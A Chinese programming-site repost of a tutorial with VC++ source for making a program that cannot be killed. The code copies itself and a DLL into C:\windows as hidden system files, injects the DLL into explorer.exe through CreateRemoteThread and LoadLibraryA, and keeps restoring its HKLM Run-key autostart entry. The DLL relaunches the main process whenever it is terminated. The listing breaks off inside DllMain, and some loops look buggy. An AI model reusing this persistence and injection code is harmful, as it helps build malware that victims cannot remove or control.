当前位置:七道奇文章资讯编程技术VC/C++编程
日期:2011-08-19 11:14:00  来源:本站整理

<b>关于三线程防杀的一些思惟和VC代码</b>[VC/C++编程]

赞助商链接



  本文“<b>关于三线程防杀的一些思惟和VC代码</b>[VC/C++编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL, Main.exe启动的时刻,会查看C:\\windows\\下面有没有我们的2个文件,假如没有就复制当前文件夹的文件过去,并设置为系统文件并躲藏,我们会查找我们注入的进程中有没有KernelSoft.dll,假如没有,那么表示我是第一次启动Main.exe, 我们注入KernelSoft..然后会成立一个线程Watch 监督注册表和远程线程..
Kernelsoft.dll 只做一件事,就是成立1个线程监督我们的Main.exe能否还存在于进程中,假如不存在,那么就启动Main.exe,实现防杀的功效,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,大概注入到别的进程中,我这里只是演示, 文章中有些地方是直接硬编码的,便利一些,当然这些地方你都可以很简单的看到,并且改正,以便兼容你的电脑.
Watch线程监督我们的开机启动项,假如该项被删撤除,它会当即重新写入注册表.并且假如你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe, 那我会奉告你,关闭后,当explorer.exe再次呈现的时刻,我们的程序还是会注入到explorer.exe中的.
下面给源码吧:
我的注释还算对比具体的,尽大概让大家都很简单的懂得我在做什么.
先给3个函数:
在SourseHead.h中定义的
代码:
#include <Tlhelp32.h>
//提权
bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable)

{
HANDLE hToken;

TOKEN_PRIVILEGES tp;

LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |

TOKEN_QUERY | TOKEN_READ,&hToken))

{

return false;

}

if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid))

{

return false;

}

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0;

BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);

CloseHandle(hToken);

return (GetLastError() == ERROR_SUCCESS);

}

//获得PID值
BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量
{
//变量及初始化
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
ZeroMemory(&st,sizeof(STARTUPINFO));
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
st.cb = sizeof(STARTUPINFO);
ZeroMemory(&ps,sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
//遍历进程
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if (!Process32First(hSnapshot,&ps))
{
return FALSE;
}

do
{
//对比进程名
if (lstrcmpi(ps.szExeFile,szProcessName) == 0)
{
//找到了
*lpPID = ps.th32ProcessID;
CloseHandle(hSnapshot);
return TRUE;
}
} while (Process32Next(hSnapshot,&ps));
//没有找到
CloseHandle(hSnapshot);
return FALSE;
}

//注入函数
//pid 我们的目标PID
//szMyDll 我们需求注入的DLL
HANDLE InjeckDll(DWORD pid,CString szMyDll)
{
EnablePrivilege(SE_DEBUG_NAME,true);
HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
LPVOID Address = NULL;
PSTR pszLibFileRemote =(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL);
HMODULE hmod = ::GetModuleHandle("Kernel32");
szMyDll.ReleaseBuffer();
PTHREAD_START_ROUTINE point = (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA");

//成立远程线程履行LoadLibraryA 注入我们自己的DLL文件
HANDLE handr = CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL);
WaitForSingleObject(handr,INFINITE);

EnablePrivilege(SE_DEBUG_NAME,false);//复原权限
return handr;

}
//宏定义 部份字符串
#define DesName "explorer.exe"
#define DesMainName "C:\\windows\\Main.exe"
#define DesDllName "C:\\windows\\KernelSoft.dll"
/////////////////////////////////////////////////
下面给出 Watch线程
代码:
BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时刻加的,就没有删掉
{
HANDLE wethread=(HANDLE)pvparam;
HKEY hkey;
TCHAR wtname[MAX_PATH] = "C:\\windows\\Main.exe";//这个是写入注册表的途径
TCHAR lpdata[MAX_PATH];
LPCTSTR rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
DWORD type=REG_SZ;
DWORD dwbuflen=MAX_PATH;
int ret;

while(1)
{
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//翻开注册表
if(ret!=ERROR_SUCCESS)
{
OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管
break;
}
ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe
RegCloseKey(hkey);
if(ret!=ERROR_SUCCESS)
{
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
if(ret!=ERROR_SUCCESS)
{
OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n"));
break;
}
//假如没有就重新写入我们的Main.exe
ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen);
RegCloseKey(hkey);
if(ret!=ERROR_SUCCESS)
{
OutputDebugString(_T("RegSetValueEx Error\n"));
break;
}
}

//下面的代码表示假如explorer.exe中没有我们的模块,我们重新注入
DWORD pid =0;
GetProcessIdByName("explorer.exe",&pid);//我们挑选注入Explorer.exe
HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块
{
InjeckDll(pid,DesDllName);//自定义函数,注入
}

Sleep(1000);
}
return 0;

}

下面给出设置文件属性并复制文件的函数:(注释也很清楚了)

代码:
//在Windows下探求我自己的模块,找不到就复制我自己的模块过去
/*
LookFileName[] Windows下的模块C:\\windows\\Main.exe
name[] 将要复制到C盘的模块的地址,就是当前文件夹的途径

*/
void SetFile(char LookFileName[],char name[])
{
BOOL sign = FALSE; //能否找到我需求的文件
CFileFind ff;
BOOL work = ff.FindFile("C:\\windows\\");//查找的文件途径,我是硬编码的
while(work)
{
work = ff.FindNextFile();
CString filepath = ff.GetFilePath();//得到文件的完好途径
CString MainName;
MainName.Format("%s",LookFileName);
if (filepath == MainName)
{
sign = TRUE;
break;
}

}
ff.Close();
if (!sign)//假如没找到,那么复制我自己的文件过去
{

CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下
//设置文件属性
SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);

}

}

上面的查找文件的代码在我写U盘窃视者的时刻也有效到,不过那个比这个复杂,不是很清楚的同学可以看看我从前的文章
U盘窃视者的地址: 百度大概论坛搜索下
下面给出遍历模块的函数:
这次我没有效CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName
大家不懂的可以上Google 或Msdn上面查查.
注意:这几个函数要#pragma comment(lib,"Psapi.lib") 还要有头文件
#include <Psapi.h>
代码:
//遍历模块
BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[])
{
HMODULE hmod[MAX_PATH];
DWORD dwMod;
char BaseName[MAX_PATH];
EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod);
for (int i = 0;hmod!=0;i++)
{
GetModuleBaseName(DesProcess,hmod,BaseName,MAX_PATH);
if(stricmp(MoudleName,BaseName)==0)
return TRUE;
}
return FALSE;
}
目前给出主要的函数,他调用这一切的子函数....
代码:
void InitiaMain() //相当于初始化工作,我们背面的函数都是在这里面调用的
{
HANDLE g_Hthread;

DWORD idthread;
DWORD pid =0;
char MainPath[MAX_PATH];
char DLLPath[MAX_PATH];
//复制我们的2个文件到C:\\windows\\下面
GetModuleFileName(NULL,MainPath,MAX_PATH);
SetFile(DesMainName,MainPath);
GetCurrentDirectory(MAX_PATH,DLLPath);
strcat(DLLPath,"\\KernelSoft.dll");
SetFile(DesDllName,DLLPath);

GetProcessIdByName("explorer.exe",&pid);//我们挑选注入Explorer.exe
HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if (!EnumMoudle(DesProcess,"KernelSoft.dll"))
{//假如我们的模块不存在目标进程中,那么重新注入
g_Hthread=InjeckDll(pid,DesDllName);

}
//成立监督线程Watch
HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread);
}
下面我们来看我们的 kernelSoft.dll模块的代码
//KernelSoft.cpp
//这里注释得还算清楚
代码:
#include "stdafx.h"
#include <Tlhelp32.h>

//***********************
//全局数据区
HMODULE g_hmod = NULL;
DWORD g_idthread;
//***********************
//函数区
void WatchMainProcess();
BOOL FindMainProcess(LPSTR szProcessName);
//***********************
//我们的主函数
BOOL APIENTRY DllMain( HMODULE hMod,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if( DLL_PROCESS_ATTACH == ul_reason_for_call )
{
g_hmod = hMod;
HANDLE hand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread);
  以上是“<b>关于三线程防杀的一些思惟和VC代码</b>[VC/C++编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • <b>hosts是什么 hosts文件在什么位置 若何改正hosts</b>
  • <b>在 Windows 8 中手动安装语言包</b>
  • <b>五个常见 PHP数据库问题</b>
  • Windows中Alt键的12个高效快速的利用本领介绍
  • <b>MySQL ORDER BY 的实现解析</b>
  • <b>详解MySQL存储历程参数有三种范例(in、out、inout)</b>
  • <b>Win8系统恢复出来经典的开始菜单的办法</b>
  • <b>Win8系统花屏怎么办 Win8系统花屏的办理办法</b>
  • <b>Windows 7系统下无线网卡安装</b>
  • <b>为什么 Linux不需求碎片整理</b>
  • <b>Windows 8中删除账户的几种办法(图)</b>
  • <b>教你如安在win7下配置路由器</b>
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .